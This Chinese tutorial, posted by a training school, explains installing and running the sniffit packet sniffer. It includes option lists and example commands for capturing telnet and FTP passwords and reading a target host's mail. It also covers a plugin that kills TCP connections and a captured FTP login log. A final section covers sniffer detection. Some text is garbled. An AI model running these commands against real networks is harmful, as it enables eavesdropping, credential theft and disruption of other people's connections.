北京北大青鳥通州校區(qū)學(xué)術(shù)部提供:
擴(kuò)展閱讀:
Sniffer-黑客們最常用的入侵手段一
Sniffer-黑客們最常用的入侵手段二
四、sniffer的安裝使用。
我主要以sniffit為例分別介紹在windows和linux下的應(yīng)用。北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
[1] 在linux下的sniffit
安裝軟件的安裝很簡單:
1、用tar zvfx sniffit.*.*.*.tgz將下載下來的sniffit.*.*.*.tgz解壓縮到你想要的目的文件夾,如果版本是0.3.7的話,你會看到該目錄下出現(xiàn)一個sniffit.0.3.7的目錄。
2、cd sniffit.0.3.7
3、./configure && make,只要在這個過程中終端上沒有意外的error信息
出現(xiàn),你就算編譯成功了--可以得到一個二進(jìn)制的sniffit文件。
4、make clean把不用的垃圾掃掉……
、使用方法
1、參數(shù)
這個東東具有如下的命令選項:
-v顯示版本信息
-t讓程序去監(jiān)聽指定流向某IP的數(shù)據(jù)包。北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
-s讓程序去監(jiān)聽從某IP流出的IP數(shù)據(jù)包,可以使用@通配符,如-t199.145.@
-i顯示出窗口界面,能察看當(dāng)前在你所屬網(wǎng)絡(luò)上進(jìn)行連接的機(jī)器
-I擴(kuò)展的交互模式,忽略所有其它選項,比-i強(qiáng)大得多……
-c利用腳本來運(yùn)行程序
-F強(qiáng)制使程序使用網(wǎng)絡(luò)硬盤
-n顯示出假的數(shù)據(jù)包。象使用ARP、RARP或者其他不是IP的數(shù)據(jù)包也會顯示出來
-N只運(yùn)行plugin時的選項,使其它選項失效
在-i模式下無法工作的參數(shù):
-b同時做-t和-s的工作……
-d將監(jiān)聽所得內(nèi)容顯示在當(dāng)前終端--以十六進(jìn)制表示
-a將監(jiān)聽所得內(nèi)容顯示在當(dāng)前終端--以ASCII字符表示
-x打印TCP包的擴(kuò)展信息(SEQ,ACK,Flags),可以與'-a','-d','-s','-t','-b'一起運(yùn)作,注意-- 它是輸出在標(biāo)準(zhǔn)輸出的,如果只用-t,-s,-b 而沒有其它參數(shù)配合的話不會被寫入文件。
-R將所有通信記錄在文件中
-r這一選項將記錄文件送往sniffit,它需要-F的參數(shù)配合指明設(shè)備,假設(shè)你用'eth0'(第一塊網(wǎng)卡)來記錄文件,你必須在命令行里面加上'-Feth0'或者'或者'或者'或者'或者'-Feth'-A遇到不認(rèn)識的字符時用指定的字符代替-P定義監(jiān)聽的協(xié)議,DEFAULT為TCP--也可以選IP、ICMP、UDP……
-p定義監(jiān)聽端口,默認(rèn)為全部
-l設(shè)定數(shù)據(jù)包大小,default是300字節(jié)。
-M激活插件
-I,-i模式下的參數(shù)
-D所有的記錄會被送到這個磁盤上。
-c模式下的參數(shù)
-L
其中l(wèi)ogparam可以是如下的內(nèi)容:
raw:輕度
norm:常規(guī)
telnet:記錄口令(端口23)
ftp:記錄口令(端口21)
mail:記錄信件內(nèi)容(端口25)
比如說"ftpmailnorm"就是一個合法的logparam
2、圖形仿真界面 北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
就是上面所說的-i選項啦,我們輸入sniffit-i會出現(xiàn)一個窗口環(huán)境,從中可以看到自己所在的網(wǎng)絡(luò)中有哪些機(jī)器正在連接,使用什么端口號,其中可用的命令如下:
q退出窗口環(huán)境,結(jié)束程序
r刷新屏幕,重新顯示正在在連線的機(jī)器
n產(chǎn)生一個小窗口,包括TCP、IP、ICMP、UDP等協(xié)議的流量
g產(chǎn)生數(shù)據(jù)包,正常情況下只有UDP協(xié)議才會產(chǎn)生,執(zhí)行此命令要回答一些
關(guān)于數(shù)據(jù)包的問題
F1改變來源網(wǎng)域的IP地址,默認(rèn)為全部
F2改變目的網(wǎng)域的IP地址,默認(rèn)為全部
F3改變來源機(jī)器的端口號,默認(rèn)為全部
F4改變目的機(jī)器的端口號,默認(rèn)為全部
北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
、一些示例
假設(shè)有以下的設(shè)置:在一個子網(wǎng)中有兩臺主機(jī),一臺運(yùn)行了sniffer,我們稱之為sniffit.com,另一臺是66.66.66.7,我們稱之為target.com。
<1>你希望檢查sniffer是否能運(yùn)行sniffit:~/#sniffit-d-p7-t66.66.66.7 并且開另一個窗口:
sniffit:~/$telnettarget.com7
你可以看到sniffer將你telnet到對方7號端口echo服務(wù)的包捕獲了。
<2>你希望截獲target.com上的用戶密碼
sniffit:~/#sniffit-p23-t66.66.66.7
<3>target.com主機(jī)的根用戶聲稱有奇怪的FTP連接并且希望找出他們的擊鍵
sniffit:~/#sniffit-p21-l0-t66.66.66.7
<4>你希望能閱讀所有進(jìn)出target.com的信件
sniffit:~/#sniffit-p25-l0-b-t66.66.66.7&或者sniffit:~/#sniffit-p25-l0-b-s66.66.66.7&
<5>你希望使用用戶交互界面
sniffit:~/#sniffit-i
<6>有錯誤發(fā)生而且你希望截獲控制信息
sniffit:~/#sniffit-Picmp-b-s66.66.66.7
<7>Gowildonscrollingthescreen.
sniffit:~/#sniffit-Pip-Picmp-Ptcp-p0-b-a-d-x-s66.66.66.7
與之效果相當(dāng)?shù)氖莝niffit:~/#sniffit-Pipicmptcp-p0-b-a-d-x-s66.66.66.7
<8>你可以用'more66*'讀取下列方式記錄下的密碼
sniffit:~/#sniffit-p23-A.-t66.66.66.7或者sniffit:~/#sniffit-p23-A^-tdummy.net
北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
、高級應(yīng)用
1、用腳本執(zhí)行
這是配合選項-c的,其執(zhí)行方法也很簡單,比如以如下方式編輯一個叫sh的文件
selectfromhost180.180.180.1
selecttohost180.180.180.10
selectbothport21
然后執(zhí)行:sniffit-csh
說明:監(jiān)聽從180.180.180.1送往180.180.180.10的數(shù)據(jù)包,端口為FTP口。這里不做更多說明,你可以自己去看里面的README。
2、插件
要獲取一個插件是很簡單的,你將它放入sniffit的目錄下,并且象如下方式編輯sn_plugin.h文件:
#define PLUGIN1_NAME "Myplugin"
#define PLUGIN1(x) main_plugin_function(x)
#include "my_plugin.plug"
注意:
a)你可以讓plugin從0-9,所以從PLUGIN0_NAME到PLUGIN1_NAME……不必是連續(xù)的
d)#include"my_plugin.plug"這是我的插件源代碼放置的地方。如果想詳細(xì)了解的話,還是看看里面的plugin.howto吧。
3、介紹tod
這東東便是sniffit最有名的一個插件了,為什么叫TOD呢--touchofdeath,它可以輕易地切斷一個TCP連接,原理是向一個TCP連接中的一臺主機(jī)發(fā)送一個斷開連接的IP包,這個IP包的RST位置1,便可以了。
將下載下來的tod.tar.gz拷貝到sniffit所在目錄下,解壓安裝后ln-stodsniffit_key5就可以將這相程序與F5鍵連接起來,想切斷哪臺機(jī)器的話,只要在窗口中將光標(biāo)指到需要斷線的機(jī)器上按下F5鍵就可以了。你可以自由地定義成其它的F功能鍵--F1~F4不行,它們已經(jīng)被定義過了……
北京北大青鳥通州校區(qū),軟件工程師培訓(xùn)。
[2] 在windows下的sniffit
Sniffit 0.3.7推出了windows版本,這個sniffit需要WinPcap包,就是類似與libpcap的包,支持WIN32平臺上可以信息包捕獲和網(wǎng)絡(luò)分析,是基于UNIX的libpcap和BPF(Berkeley 分幀過濾器)模型的包。它包括內(nèi)核級的包過濾驅(qū)動程序,低級動態(tài)連接庫(packet.dll),和高級系統(tǒng)無關(guān)性庫(libpcap,基于0.4a6版本)。
這個WinPcap信息包捕獲啟動程序可把設(shè)備驅(qū)動增加在Windows 95, Windows 98, Windows NT 和 Windows 2000 上,可以有能力捕獲和發(fā)送通過原始套接口的信息包(raw packets),Packet.dll是一個能用來直接訪問BPF驅(qū)動程序的API。
WinPcap在http://netgroup-serv.polito.it/windump和http://netgroup-serv.polito.it/analyzer這兩個工具中成功應(yīng)用。最新的WinPcap是版本2.02,修補(bǔ)了2.01版本中的一些缺陷,并且支持WIN2000。具體信息和源代碼可以在下面這個站點找到:
http://netgroup-serv.polito.it/winpcap/
下面是在WIN2K中安裝的步驟:
1)先下載packet.exe這個程序后展開安裝。
2)打開WINDOWS2000的控制面板
3)從控制面板中雙擊"網(wǎng)絡(luò)和撥號連接"圖標(biāo),在打開"本地連接"圖標(biāo),并選擇屬性選項。
4)在顯示的對話框中選擇"安裝",安裝網(wǎng)絡(luò)組件。
5)再在出現(xiàn)的對話框中選擇"協(xié)議",點擊"增加"。
6)在出現(xiàn)的對話框中選擇"從磁盤安裝",選擇正確路徑,就是剛才你解壓的網(wǎng)絡(luò)設(shè)備驅(qū)動程序(這個文件夾中必須包含packet.inf和packet.sys)的地方,在選擇確定。
7)在選擇"Packet capture Driver v X.XX ",并按照指示來完成安裝,往往要你WINDOWS2000的安裝光盤。
8)查看網(wǎng)絡(luò)組件中有沒有 Packet capture Driver v X.XX 這一行,有的話說明這個驅(qū)動程序已經(jīng)建立并綁定了網(wǎng)絡(luò)接口。
再重新啟動機(jī)器。然后解壓sniffit_nt.0.3.7.beta,再使用命令行模式,我簡單的使用了一個命令行,剛開始是使用sniffit -t 192.168.0.1 -p 21,想監(jiān)視下21 FTP端口的密碼捕獲成不成功,但出現(xiàn)"Automatic network device lookup not yet supported in Win32 version... use '-F \Device\Packet_{31BB7ED2-125E-11D4-8F11-D79985727802}' to force the choice,Read the README.FIRST on how to force network devices.的提示,于是我按照其提示所示,使用了sniffit -F \Device\packet_{31BB7ED2-125E-11D4-8F11-D79985727 802} -t 192.168.0.1 -p 21命令,這時出現(xiàn)下面的提示:
Forcing device to \Device\packet_{31BB7ED2-125E-11D4-8F1 quested)...
Make sure you have read the docs carefully.
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1)
這就表明sniffit在工作了,于是在FTP到NT的端口,輸入密碼,隨即就可以在剛才SNIFFIT的目錄下看到一個關(guān)于192.168.0.2.1281-192.168.0.1.21的文件,打開后查看里面的內(nèi)容如下所示:
USER xundi
PASS xxxxxxx-------->我隱藏了,XIXI
SYST
PORT 192,168,0,2,5,2
LIST
PORT 192,168,0,2,5,3
LIST
CWD g:
CWD c
PORT 192,168,0,2,5,26
LIST
CWD hack
PORT 192,168,0,2,5,88
LIST
看,是不是很整潔啊,至于文件名為何是這樣192.168.0.2.1281-192.168.0.1.21,那是應(yīng)該是一個客戶/服務(wù)器模式,客戶端的連接是隨意開一個1281端口地址和192.168.0.1的21口連接。
北京北大青鳥通州校區(qū),網(wǎng)絡(luò)工程師、軟件工程師培訓(xùn)。
五、如何監(jiān)測主機(jī)正在竊聽(sniffed)
如何才知道有沒有sniffer在我的網(wǎng)上跑呢?這也是一個很難說明的問題,比較有說服力的理由證明你的網(wǎng)絡(luò)有sniffer目前有這么幾條:
1、你的網(wǎng)絡(luò)通訊掉包率反常的高。
通過一些網(wǎng)絡(luò)軟件,你可以看到你的信息包傳送情況(不是sniffer),向ping這樣的命令會告訴你掉了百分幾的包。如果網(wǎng)絡(luò)中有人在聽,那么你的信息包傳送將無法每次都順暢的流到你的目的地。(這是由于sniffer攔
截每個包導(dǎo)致的)
2、你的網(wǎng)絡(luò)帶寬將出現(xiàn)反常。
通過某些帶寬控制器(通常是火墻所帶),你可以實時看到目前網(wǎng)絡(luò)帶寬的分布情況,如果某臺機(jī)器長時間的占用了較大的帶寬,這臺機(jī)器就有可能在聽。在非高速信道上,如56Kddn等,如果網(wǎng)絡(luò)中存在sniffer,你應(yīng)該也可以察覺出網(wǎng)絡(luò)通訊速度的變化。
3、通常一個sniffer的記錄文件會很快增大并填滿文件空間。在一個大型網(wǎng)絡(luò)中,sniffer明顯加重機(jī)器負(fù)荷。這些警告信息往往能夠幫助管理員發(fā)現(xiàn)sniffer。
4、一個主機(jī)上的sniffer會將網(wǎng)絡(luò)接口置為混雜模式以接收所有數(shù)據(jù)包。對于某些UNIX系統(tǒng), 通過監(jiān)測到混雜模式的網(wǎng)絡(luò)接口。雖然可以在非混雜模式下運(yùn)行sniffer,但這樣將只能捕獲本 機(jī)會話。只有混雜模式下的 sniffing才能捕獲以太網(wǎng)中的所有會話,其它模式只能捕獲本機(jī)會話。
對于SunOS、linux和其它BSD Unix系統(tǒng),如下命令:
"ifconfig -a"
會顯示所有網(wǎng)絡(luò)接口信息和是否在混雜模式。DEC OSF/1和IRIX等系統(tǒng)需要指定設(shè)備。要找到系統(tǒng)中有什么網(wǎng)絡(luò)接口,可以運(yùn)行如下命令:
# netstat -r
Routing tables
Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0
然后通過如下命令檢查每個網(wǎng)絡(luò)接口:
#ifconfig le0
le0: flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1
入侵者經(jīng)常會替換ifconfig等命令來避開檢查,因此一定要檢查命令程序的校驗值。
在ftp.cert.org:/pub/tools/的cpm程序(SunOS平臺)可以檢查接口是否有混雜模式標(biāo)記。
這些命令只在sniffer與內(nèi)核存在鏈接時有效。而在缺省情況,sniffer是沒有與內(nèi)核鏈接的。大多數(shù)的Unix系統(tǒng),例如Irix、Solaris、SCO等,都沒有任何標(biāo)記來指示是否處于混雜模式,因此入侵者能夠竊聽整個網(wǎng)絡(luò)而卻無法監(jiān)測到它。
如果機(jī)器上使用兩塊網(wǎng)卡,把一塊設(shè)置為雜亂模式,并把IP地址設(shè)置為0.0.0.0,另一塊卡處于正常的模式并是正確的地址,這樣將很難發(fā)現(xiàn)SNIFFER的存在。
注意:要監(jiān)測只采集數(shù)據(jù)而不對任何信息進(jìn)行響應(yīng)的竊聽設(shè)備,需要逐個仔細(xì)檢查以太網(wǎng)上所有物理連接,不可能僅通過遠(yuǎn)程發(fā)送數(shù)據(jù)包或ping就可以檢查計算機(jī)是否正在竊聽.
北京北大青鳥校區(qū),網(wǎng)絡(luò)工程師、軟件工程師培訓(xùn)。(未完待續(xù))